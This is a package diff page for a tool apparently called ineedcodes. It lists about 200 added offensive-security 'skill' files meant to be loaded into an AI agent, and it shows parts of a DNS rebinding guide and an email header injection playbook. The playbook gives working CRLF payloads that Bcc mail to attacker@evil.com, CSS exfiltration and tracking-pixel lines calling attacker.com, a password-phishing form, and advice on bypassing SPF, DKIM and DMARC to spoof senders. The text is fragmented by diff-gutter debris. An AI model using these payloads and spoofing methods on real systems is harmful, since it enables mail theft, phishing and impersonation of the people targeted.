ineedcodes 1.6.0 → 1.7.0
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- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
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> **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
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| Protocol support | HTTP/WS (browser-limited) | Any protocol (gopher, file, etc.) |
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**Critical difference**: DNS rebinding leverages the **victim's browser** as the pivot point, so it accesses services visible from the **victim's network**, with the **victim's cookies/credentials**.
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| Private network access (PNA) | Chrome's proposal: preflight for requests to private IPs |
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| Authentication on internal services | Internal services require auth, not just network access |
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Host header validation bypass:
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├── PNA only in Chrome (as of 2024), partial enforcement
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├── WebSocket connections may not trigger preflight
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├── HTTPS → HTTP downgrade scenarios
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|
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Want to access internal services from victim's browser?
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│
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├── Can you get victim to visit your page?
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│ ├── YES → DNS rebinding is viable
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│ │ │
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│ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
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│ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
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│ │ │ └── Cloud metadata → Metadata exfil (Section 4)
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│ │ │
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│ │ │ ├── Chrome → Wait 60s or use multiple subdomains
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│ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
|
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│ │ │ └── Use multiple A records technique for instant rebind
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│ │ │
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│ │ │ ├── YES → Rebinding alone won't work
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│ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
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│ │ │ └── NO → Proceed with rebinding
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│ │ │
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│ │ ├── Browser auto-sends cookies → works if same-site allows
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│ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
|
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│ │
|
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│ └── NO → DNS rebinding not applicable
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│ └── Consider SSRF if server-side fetch exists
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│
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└── Is this server-side DNS validation bypass? (TOCTOU)
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├── YES → Hybrid approach (Section 3.3)
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│ └── SSRF with DNS rebinding for IP validation bypass
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└── NO → Review ../ssrf-server-side-request-forgery/ instead
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```
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## 9. REAL-WORLD EXPLOITATION CHECKLIST
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+
|
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```
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+
□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
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□ Identify target internal services (port scan from victim context if possible)
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□ Determine browser DNS cache duration for target browser
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□ Choose rebinding variant (classic / multi-A / subdomain flood)
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|
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□ Test with benign internal endpoint first (e.g., / on router)
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□ Verify same-origin read works after rebind
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|
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□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
|
|
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+
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data
|
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```
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|
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|
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---
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|
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name: email-header-injection
|
|
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|
+
description: >-
|
|
4
|
+
Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.gated: true
|
|
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|
+
---
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|
6
|
+
|
|
7
|
+
# SKILL: Email Header Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
|
|
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+
|
|
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+
## 0. RELATED ROUTING
|
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12
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+
|
|
13
|
+
- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
|
|
14
|
+
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
|
|
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|
+
- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification
|
|
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+
|
|
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+
---
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|
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|
|
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## 1. SMTP HEADER INJECTION FUNDAMENTALS
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+
|
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SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.
|
|
22
|
+
|
|
23
|
+
### Injection anatomy
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|
24
|
+
|
|
25
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+
```
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|
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|
+
Normal header construction:
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To: user@example.com\r\n
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|
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|
+
Subject: Contact Form\r\n
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|
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|
+
From: noreply@target.com\r\n
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|
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+
|
|
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Injected (via Subject field):
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|
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Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
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|
33
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+
|
|
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+
Result:
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|
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Subject: Hello\r\n
|
|
36
|
+
Bcc: attacker@evil.com\r\n
|
|
37
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+
```
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|
38
|
+
|
|
39
|
+
### Encoding variants to try
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|
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+
|
|
41
|
+
| Encoding | Payload |
|
|
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|
+
|---|---|
|
|
43
|
+
| URL-encoded | `%0d%0a` |
|
|
44
|
+
| Double URL-encoded | `%250d%250a` |
|
|
45
|
+
| Unicode | `\u000d\u000a` |
|
|
46
|
+
| Raw CRLF | `\r\n` (in raw request) |
|
|
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|
+
| LF only | `%0a` (some SMTP servers accept LF without CR) |
|
|
48
|
+
| Null byte + CRLF | `%00%0d%0a` |
|
|
49
|
+
|
|
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+
---
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|
51
|
+
|
|
52
|
+
## 2. ATTACK SCENARIOS
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|
53
|
+
|
|
54
|
+
### 2.1 BCC Injection — Silent Email Exfiltration
|
|
55
|
+
|
|
56
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+
```
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|
57
|
+
Input field: email / name / subject
|
|
58
|
+
Payload: victim@target.com%0d%0aBcc:attacker@evil.com
|
|
59
|
+
|
|
60
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+
Effect: attacker receives a copy of every email sent through this form
|
|
61
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+
```
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|
62
|
+
|
|
63
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+
### 2.2 CC Injection with Header Stacking
|
|
64
|
+
|
|
65
|
+
```
|
|
66
|
+
Payload in "From name" field:
|
|
67
|
+
John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
|
|
68
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+
|
|
69
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+
Result headers:
|
|
70
|
+
From: John
|
|
71
|
+
Cc: attacker@evil.com
|
|
72
|
+
Bcc: spy@evil.com
|
|
73
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+
... (original headers continue)
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| Subdomain delegation | Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` |
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### 4.2 DKIM (DomainKeys Identified Mail) Bypass
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| `d=` vs `From:` mismatch | DKIM signs with `d=subdomain.target.com` but `From: ceo@target.com` — valid DKIM, spoofed From |
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| `l=` tag abuse | `l=` limits body length signed; attacker appends content after signed portion |
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| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
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| Missing `h=from` | If `from` header not in signed headers list (`h=`), From can be modified |
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| Key rotation window | During DKIM key rotation, old selector may still validate |
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# Check DKIM selector:
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# Common selectors: google, default, s1, s2, k1, dkim
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### 4.3 DMARC (Domain-based Message Authentication) Bypass
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DMARC requires SPF or DKIM to **align** with the `From:` header domain.
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| Relaxed alignment (`aspf=r`) | SPF passes for `sub.target.com`, DMARC accepts for `target.com` |
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| Organizational domain | `mail.target.com` aligns with `target.com` in relaxed mode |
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| No DMARC record | Domain without DMARC → no policy enforcement |
|
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| `p=none` | DMARC exists but policy is `none` → no enforcement, just reporting |
|
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| Subdomain policy (`sp=none`) | Main domain `p=reject` but `sp=none` → subdomains spoofable |
|
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```bash
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|
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# Check DMARC:
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dig TXT _dmarc.target.com +short
|
|
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# Look for: v=DMARC1; p=none/quarantine/reject
|
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```
|
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|
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|
|
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### 4.4 Display Name Spoofing (Works Everywhere)
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|
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Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
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|
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```
|
|
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From: "admin@target.com" <attacker@evil.com>
|
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From: "IT Security Team - target.com" <random@evil.com>
|
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From: "noreply@target.com via Support" <attacker@evil.com>
|
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```
|
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|
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|
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Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
|
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|
+
|
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|
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---
|
|
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|
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|
|
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|
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## 5. MAIL CLIENT RENDERING ATTACKS
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|
|
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|
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### CSS-based data exfiltration
|
|
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|
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|
|
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|
+
```html
|
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|
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<!-- In HTML email body -->
|
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234
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<style>
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#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
|
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#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
|
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</style>
|
|
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|
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<input id="secret" value="TARGET_VALUE">
|
|
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|
+
```
|
|
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|
+
|
|
241
|
+
### Remote image tracking
|
|
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|
+
|
|
243
|
+
```html
|
|
244
|
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<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
|
|
245
|
+
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
### Form action hijacking
|
|
249
|
+
|
|
250
|
+
```html
|
|
251
|
+
<!-- Some email clients render forms -->
|
|
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|
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<form action="https://attacker.com/phish" method="POST">
|
|
253
|
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<input name="password" type="password" placeholder="Confirm your password">
|
|
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|
+
<button type="submit">Verify</button>
|
|
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|
+
</form>
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
---
|
|
259
|
+
|
|
260
|
+
## 6. CONTACT FORM / EMAIL API INJECTION
|
|
261
|
+
|
|
262
|
+
```text
|
|
263
|
+
# REST API
|
|
264
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POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
|
|
265
|
+
|
|
266
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# URL-encoded form
|
|
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name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
|
|
268
|
+
|
|
269
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+
# GraphQL
|
|
270
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mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
|
|
271
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+
```
|
|
272
|
+
|
|
273
|
+
---
|
|
274
|
+
|
|
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+
## 7. TESTING METHODOLOGY
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|
|
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+
```
|
|
278
|
+
1. Find email features: contact forms, password reset, invite/share, newsletters
|
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279
|
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2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
|
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280
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3. Escalate: Bcc injection → body injection → Content-Type override
|
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281
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4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
|
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282
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+
```
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
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## 8. DECISION TREE
|
|
287
|
+
|
|
288
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+
```
|
|
289
|
+
Found email-sending feature?
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|
290
|
+
│
|
|
291
|
+
├── User input goes into email headers?
|
|
292
|
+
│ ├── YES → Test CRLF injection
|
|
293
|
+
│ │ ├── %0d%0a in Subject/From/To field
|
|
294
|
+
│ │ │ ├── Extra header appears → CONFIRMED
|
|
295
|
+
│ │ │ │ ├── Inject Bcc: → silent exfiltration
|
|
296
|
+
│ │ │ │ ├── Inject body (blank line) → content control
|
|
297
|
+
│ │ │ │ └── Inject Reply-To: → redirect replies
|
|
298
|
+
│ │ │ │
|
|
299
|
+
│ │ │ └── Filtered? → Try encoding variants
|
|
300
|
+
│ │ │ ├── %250d%250a (double encode)
|
|
301
|
+
│ │ │ ├── %0a only (LF without CR)
|
|
302
|
+
│ │ │ └── Unicode \u000d\u000a
|
|
303
|
+
│ │ │
|
|
304
|
+
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
|
|
305
|
+
│ │
|
|
306
|
+
│ └── NO (user input only in body) → limited impact
|
|
307
|
+
│ └── Check for HTML injection in email body
|
|
308
|
+
│ └── If HTML rendered → phishing / CSS exfil
|
|
309
|
+
│
|
|
310
|
+
├── Want to spoof emails from target domain?
|
|
311
|
+
│ ├── Check SPF: dig TXT target.com
|
|
312
|
+
│ │ ├── No SPF / +all / ~all → direct spoofing possible
|
|
313
|
+
│ │ └── -all → SPF blocks; check DKIM/DMARC
|
|
314
|
+
│ │
|
|
315
|
+
│ ├── Check DMARC: dig TXT _dmarc.target.com
|
|
316
|
+
│ │ ├── No DMARC / p=none → spoofing delivered
|
|
317
|
+
│ │ ├── p=quarantine → lands in spam but delivered
|
|
318
|
+
│ │ └── p=reject → blocked; try subdomain (sp= policy)
|
|
319
|
+
│ │
|
|
320
|
+
│ └── All strict → Display name spoofing only
|
|
321
|
+
│ └── "admin@target.com" <attacker@evil.com>
|
|
322
|
+
│
|
|
323
|
+
└── Testing password reset email?
|
|
324
|
+
├── Check for token in URL → open redirect chain?
|
|
325
|
+
│ └── See ../open-redirect/SKILL.md
|
|
326
|
+
└── Check for host header injection → password reset poisoning
|
|
327
|
+
└── See ../http-host-header-attacks/SKILL.md
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
---
|
|
331
|
+
|
|
332
|
+
## 9. QUICK REFERENCE — KEY PAYLOADS
|
|
333
|
+
|
|
334
|
+
```text
|
|
335
|
+
# BCC injection via Subject
|
|
336
|
+
Subject: Hello%0d%0aBcc:attacker@evil.com
|
|
337
|
+
|
|
338
|
+
# Body injection via From name
|
|
339
|
+
From: Test%0d%0a%0d%0aClick here: https://evil.com
|
|
340
|
+
|
|
341
|
+
# Reply-To hijack
|
|
342
|
+
From: Support%0d%0aReply-To:attacker@evil.com
|
|
343
|
+
|
|
344
|
+
# Full header stack injection
|
|
345
|
+
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
|
|
346
|
+
|
|
347
|
+
# Display name spoof (no injection needed)
|
|
348
|
+
From: "security@target.com" <attacker@evil.com>
|
|
349
|
+
```
|